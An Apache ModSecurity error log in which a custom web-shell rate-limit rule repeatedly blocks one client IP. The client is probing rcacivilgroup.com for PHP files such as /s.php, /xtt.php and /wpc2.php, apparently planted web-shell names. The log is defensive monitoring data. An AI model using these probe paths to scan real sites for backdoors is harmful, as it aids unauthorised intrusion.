[Sat Nov 22 00:42:15.833839 2025] [:error] [pid 9180:tid 9182] [client 74.176.50.101:5681] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "aSCWZ7rk9msixUFV2i980QAAAEA"]
[Sat Nov 22 00:42:16.406101 2025] [:error] [pid 9180:tid 9197] [client 74.176.50.101:62734] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "aSCWaLrk9msixUFV2i980gAAAE8"]
[Sat Nov 22 00:42:16.766643 2025] [:error] [pid 50057:tid 50071] [client 74.176.50.101:56654] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "aSCWaFb9j9fTBoI0sRU4KgAAAQw"]
[Sat Nov 22 00:42:17.695308 2025] [:error] [pid 50057:tid 50082] [client 74.176.50.101:5940] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unwattled.php"] [unique_id "aSCWaVb9j9fTBoI0sRU4LAAAARc"]
[Sat Nov 22 00:42:19.079172 2025] [:error] [pid 9180:tid 9195] [client 74.176.50.101:5924] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unwattled.php"] [unique_id "aSCWa7rk9msixUFV2i982QAAAE0"]
[Sat Nov 22 00:42:19.546943 2025] [:error] [pid 50057:tid 50076] [client 74.176.50.101:5689] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unwattled.php"] [unique_id "aSCWa1b9j9fTBoI0sRU4LgAAARE"]
[Sat Nov 22 00:42:19.996896 2025] [:error] [pid 49641:tid 49836] [client 74.176.50.101:5658] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unwattled.php"] [unique_id "aSCWa1nhuiDak938N_am0AAAAA0"]
[Sat Nov 22 00:42:20.946204 2025] [:error] [pid 49641:tid 49847] [client 74.176.50.101:62745] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww1.php"] [unique_id "aSCWbFnhuiDak938N_am0wAAABg"]
[Sat Nov 22 00:42:21.602757 2025] [:error] [pid 49642:tid 49909] [client 74.176.50.101:5661] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww1.php"] [unique_id "aSCWbYOXTPSuQfgUUtV_pQAAAJI"]
[Sat Nov 22 00:42:22.116732 2025] [:error] [pid 49642:tid 49897] [client 74.176.50.101:5892] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww1.php"] [unique_id "aSCWboOXTPSuQfgUUtV_pgAAAIY"]
[Sat Nov 22 00:42:22.538918 2025] [:error] [pid 9180:tid 9191] [client 74.176.50.101:56692] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww1.php"] [unique_id "aSCWbrrk9msixUFV2i983QAAAEk"]
[Sat Nov 22 00:42:22.972155 2025] [:error] [pid 9180:tid 9202] [client 74.176.50.101:5650] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog-front.php"] [unique_id "aSCWbrrk9msixUFV2i983gAAAFQ"]
[Sat Nov 22 00:42:23.767436 2025] [:error] [pid 49642:tid 49898] [client 74.176.50.101:5948] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog-front.php"] [unique_id "aSCWb4OXTPSuQfgUUtV_qAAAAIc"]
[Sat Nov 22 00:42:24.728339 2025] [:error] [pid 49643:tid 49925] [client 74.176.50.101:62781] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog-front.php"] [unique_id "aSCWcJwUojIRHhF_fj99wgAAAMY"]
[Sat Nov 22 00:42:26.174904 2025] [:error] [pid 49643:tid 49943] [client 74.176.50.101:5943] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog-front.php"] [unique_id "aSCWcpwUojIRHhF_fj99wwAAANc"]
[Sat Nov 22 00:42:26.715291 2025] [:error] [pid 50057:tid 50071] [client 74.176.50.101:5946] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "aSCWclb9j9fTBoI0sRU4OAAAAQw"]
[Sat Nov 22 00:42:27.087333 2025] [:error] [pid 49641:tid 49824] [client 74.176.50.101:56641] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "aSCWc1nhuiDak938N_am3AAAAAE"]
[Sat Nov 22 00:42:27.721565 2025] [:error] [pid 9180:tid 9184] [client 74.176.50.101:5672] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "aSCWc7rk9msixUFV2i984gAAAEI"]
[Sat Nov 22 00:42:29.346299 2025] [:error] [pid 50057:tid 50076] [client 74.176.50.101:5936] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "aSCWdVb9j9fTBoI0sRU4OwAAARE"]
[Sat Nov 22 00:42:30.778954 2025] [:error] [pid 49641:tid 49837] [client 74.176.50.101:5945] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "aSCWdlnhuiDak938N_am6wAAAA4"]
[Sat Nov 22 00:42:31.530738 2025] [:error] [pid 50057:tid 50066] [client 74.176.50.101:5930] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "aSCWd1b9j9fTBoI0sRU4QQAAAQc"]
[Sat Nov 22 00:42:31.961639 2025] [:error] [pid 9180:tid 9186] [client 74.176.50.101:56648] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "aSCWd7rk9msixUFV2i985gAAAEQ"]
[Sat Nov 22 00:42:32.629064 2025] [:error] [pid 49641:tid 49834] [client 74.176.50.101:62724] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "aSCWeFnhuiDak938N_am7wAAAAs"]
[Sat Nov 22 00:42:32.992196 2025] [:error] [pid 49642:tid 49913] [client 74.176.50.101:5638] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/raw.php"] [unique_id "aSCWeIOXTPSuQfgUUtV_sgAAAJY"]
[Sat Nov 22 00:42:33.612203 2025] [:error] [pid 49642:tid 49908] [client 74.176.50.101:5641] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/raw.php"] [unique_id "aSCWeYOXTPSuQfgUUtV_tQAAAJE"]
[Sat Nov 22 00:42:34.419181 2025] [:error] [pid 49641:tid 49838] [client 74.176.50.101:57297] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/raw.php"] [unique_id "aSCWelnhuiDak938N_am-gAAAA8"]
[Sat Nov 22 00:42:34.703730 2025] [:error] [pid 9180:tid 9184] [client 74.176.50.101:5906] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/raw.php"] [unique_id "aSCWerrk9msixUFV2i989QAAAEI"]
[Sat Nov 22 00:42:35.255293 2025] [:error] [pid 9180:tid 9187] [client 74.176.50.101:57289] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/diesinker.php"] [unique_id "aSCWe7rk9msixUFV2i98-QAAAEU"]
[Sat Nov 22 00:42:36.131999 2025] [:error] [pid 49641:tid 49845] [client 74.176.50.101:5902] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/diesinker.php"] [unique_id "aSCWfFnhuiDak938N_anBQAAABY"]
[Sat Nov 22 00:42:36.628795 2025] [:error] [pid 49643:tid 49943] [client 74.176.50.101:56669] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/diesinker.php"] [unique_id "aSCWfJwUojIRHhF_fj99zQAAANc"]
[Sat Nov 22 00:42:37.502848 2025] [:error] [pid 49642:tid 49915] [client 74.176.50.101:62737] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/diesinker.php"] [unique_id "aSCWfYOXTPSuQfgUUtV_vQAAAJg"]
[Sat Nov 22 00:42:37.883751 2025] [:error] [pid 49642:tid 49904] [client 74.176.50.101:54131] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dinah.php"] [unique_id "aSCWfYOXTPSuQfgUUtV_vwAAAI0"]
[Sat Nov 22 00:42:38.358782 2025] [:error] [pid 9180:tid 9196] [client 74.176.50.101:54087] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dinah.php"] [unique_id "aSCWfrrk9msixUFV2i99BgAAAE4"]
[Sat Nov 22 00:42:38.867860 2025] [:error] [pid 9180:tid 9194] [client 74.176.50.101:5935] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dinah.php"] [unique_id "aSCWfrrk9msixUFV2i99CAAAAEw"]
[Sat Nov 22 00:42:39.327534 2025] [:error] [pid 49643:tid 49920] [client 74.176.50.101:56698] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dinah.php"] [unique_id "aSCWf5wUojIRHhF_fj990QAAAME"]
[Sat Nov 22 00:42:40.185095 2025] [:error] [pid 49642:tid 49906] [client 74.176.50.101:62742] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/washland.php"] [unique_id "aSCWgIOXTPSuQfgUUtV_wQAAAI8"]
[Sat Nov 22 00:42:40.684692 2025] [:error] [pid 49641:tid 49846] [client 74.176.50.101:56646] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/washland.php"] [unique_id "aSCWgFnhuiDak938N_anEgAAABc"]
[Sat Nov 22 00:42:41.725633 2025] [:error] [pid 50057:tid 50071] [client 74.176.50.101:5916] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/washland.php"] [unique_id "aSCWgVb9j9fTBoI0sRU4UwAAAQw"]
[Sat Nov 22 00:42:42.293447 2025] [:error] [pid 49643:tid 49944] [client 74.176.50.101:62773] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/washland.php"] [unique_id "aSCWgpwUojIRHhF_fj990wAAANg"]
[Sat Nov 22 00:42:43.037193 2025] [:error] [pid 49641:tid 49835] [client 74.176.50.101:56679] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/prototheria.php"] [unique_id "aSCWg1nhuiDak938N_anFwAAAAw"]
[Sat Nov 22 00:42:44.495075 2025] [:error] [pid 50057:tid 50067] [client 74.176.50.101:62736] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/prototheria.php"] [unique_id "aSCWhFb9j9fTBoI0sRU4WgAAAQg"]
[Sat Nov 22 00:42:45.471479 2025] [:error] [pid 49641:tid 49839] [client 74.176.50.101:54115] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/prototheria.php"] [unique_id "aSCWhVnhuiDak938N_anHQAAABA"]
[Sat Nov 22 00:42:46.627002 2025] [:error] [pid 49643:tid 49924] [client 74.176.50.101:60683] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/prototheria.php"] [unique_id "aSCWhpwUojIRHhF_fj991wAAAMU"]
[Sat Nov 22 00:42:47.611547 2025] [:error] [pid 9180:tid 9187] [client 74.176.50.101:5222] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/microspore.php"] [unique_id "aSCWh7rk9msixUFV2i99DwAAAEU"]
[Sat Nov 22 00:42:48.479363 2025] [:error] [pid 49643:tid 49926] [client 74.176.50.101:62736] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/microspore.php"] [unique_id "aSCWiJwUojIRHhF_fj992wAAAMc"]
[Sat Nov 22 00:42:49.884725 2025] [:error] [pid 49641:tid 49833] [client 74.176.50.101:62728] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/microspore.php"] [unique_id "aSCWiVnhuiDak938N_anJgAAAAo"]
[Sat Nov 22 00:42:50.600181 2025] [:error] [pid 49641:tid 49842] [client 74.176.50.101:5246] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/microspore.php"] [unique_id "aSCWilnhuiDak938N_anJwAAABM"]
[Sat Nov 22 00:42:52.464684 2025] [:error] [pid 49643:tid 49920] [client 74.176.50.101:5229] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "aSCWjJwUojIRHhF_fj994QAAAME"]
[Sat Nov 22 00:42:53.093846 2025] [:error] [pid 49642:tid 49900] [client 74.176.50.101:61809] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "aSCWjYOXTPSuQfgUUtV_zQAAAIk"]
[Sat Nov 22 00:42:53.509013 2025] [:error] [pid 49641:tid 49827] [client 74.176.50.101:5228] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "aSCWjVnhuiDak938N_anKgAAAAQ"]
[Sat Nov 22 00:42:54.147260 2025] [:error] [pid 49643:tid 49939] [client 74.176.50.101:62770] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "aSCWjpwUojIRHhF_fj995gAAANM"]
[Sat Nov 22 00:42:54.522993 2025] [:error] [pid 49641:tid 49826] [client 74.176.50.101:5666] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpc2.php"] [unique_id "aSCWjlnhuiDak938N_anKwAAAAM"]
[Sat Nov 22 00:42:56.605971 2025] [:error] [pid 49641:tid 49831] [client 74.176.50.101:5185] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpc2.php"] [unique_id "aSCWkFnhuiDak938N_anLQAAAAg"]
[Sat Nov 22 00:42:59.377116 2025] [:error] [pid 49642:tid 49894] [client 74.176.50.101:5204] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpc2.php"] [unique_id "aSCWk4OXTPSuQfgUUtV_1gAAAIM"]
[Sat Nov 22 00:42:59.955816 2025] [:error] [pid 9180:tid 9197] [client 74.176.50.101:5211] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpc2.php"] [unique_id "aSCWk7rk9msixUFV2i99MwAAAE8"]
[Sat Nov 22 00:43:00.489745 2025] [:error] [pid 50057:tid 50069] [client 74.176.50.101:5248] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2co_ipn.php"] [unique_id "aSCWlFb9j9fTBoI0sRU4bAAAAQo"]
